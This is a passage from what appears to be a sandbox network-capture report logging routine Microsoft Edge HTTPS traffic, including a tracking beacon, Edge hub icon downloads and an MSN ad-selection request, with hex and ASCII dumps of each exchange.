"f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-11-20 15:50:57 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-11-20 15:50:57 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-11-20 15:50:57 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-11-20 15:50:57 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.9	49778	18.165.220.110	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:50:58 UTC	925	OUT	GET /b?rn=1732117857297&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0D807BBDD89D650538396E80D9B4640A&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 15:50:58 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Wed, 20 Nov 2024 15:50:58 GMT Accept-CH: UA, Platform, Arch, Model, Mobile Location: /b2?rn=1732117857297&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0D807BBDD89D650538396E80D9B4640A&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=15Ba920e294d290f92c554b1732117858; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=15Ba920e294d290f92c554b1732117858; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 X-Cache: Miss from cloudfront Via: 1.1 53a0f975e2490ceb7823ef71fea7315a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-P1 X-Amz-Cf-Id: 9bN3NvEbF-ML2y-GfudyKErowwVHFuG5w4GUQpfPAD0UHQuQSwb5zA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.9	49803	13.107.246.40	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:50:58 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 15:50:58 UTC	543	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:50:58 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 4ee2e47e-001e-0023-6952-3b07cc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T155058Z-185f5d8b95c9mqtvhC1NYCghtc0000000amg000000000duh Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 15:50:58 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.9	49807	13.107.246.40	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:50:58 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 15:50:59 UTC	516	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:50:59 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 4d308786-a01e-0025-2863-3bf0b4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T155058Z-1777c6cb7549x5qchC1TEBggbg00000009t000000000pzrh Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-20 15:50:59 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.9	49805	13.107.246.40	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:50:58 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 15:50:58 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:50:58 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 14d50bcb-801e-0054-7c1b-3b828d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T155058Z-185f5d8b95cjbkr4hC1NYCeu240000000ab0000000008xm0 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 15:50:58 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.9	49802	13.107.246.40	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:50:58 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 15:50:58 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:50:58 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: ed73dd0d-d01e-006e-40d9-3ac12e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T155058Z-185f5d8b95ckwnflhC1NYCx9qs0000000acg00000000xruw Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 15:50:58 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.9	49806	13.107.246.40	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:50:58 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 15:50:59 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:50:58 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: db393614-601e-005e-0852-3b9b04000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T155058Z-185f5d8b95c4vwv8hC1NYCy4v40000000ang00000000662k Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:50:59 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.9	49804	13.107.246.40	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:50:58 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 15:50:59 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:50:58 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 8573f691-e01e-0022-541b-3b0631000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T155058Z-185f5d8b95ckwnflhC1NYCx9qs0000000ac000000000zhcq Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 15:50:59 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.9	49811	20.96.153.111	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:00 UTC	1068	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=0D807BBDD89D650538396E80D9B4640A&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-1896095743575897587&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=779d89faa5ce4df9a8e24bc93effc1df HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=0D807BBDD89D650538396E80D9B4640A; _EDGE_S=F=1&SID=2FAAB3D8EF8A6AB60F47A6E5EE9B6BD9; _EDGE_V=1
2024-11-20 15:51:00 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Nov 2024 15:50:59 GMT Connection: close
2024-11-20 15:51:00 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.9	49810	20.44.10.122	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
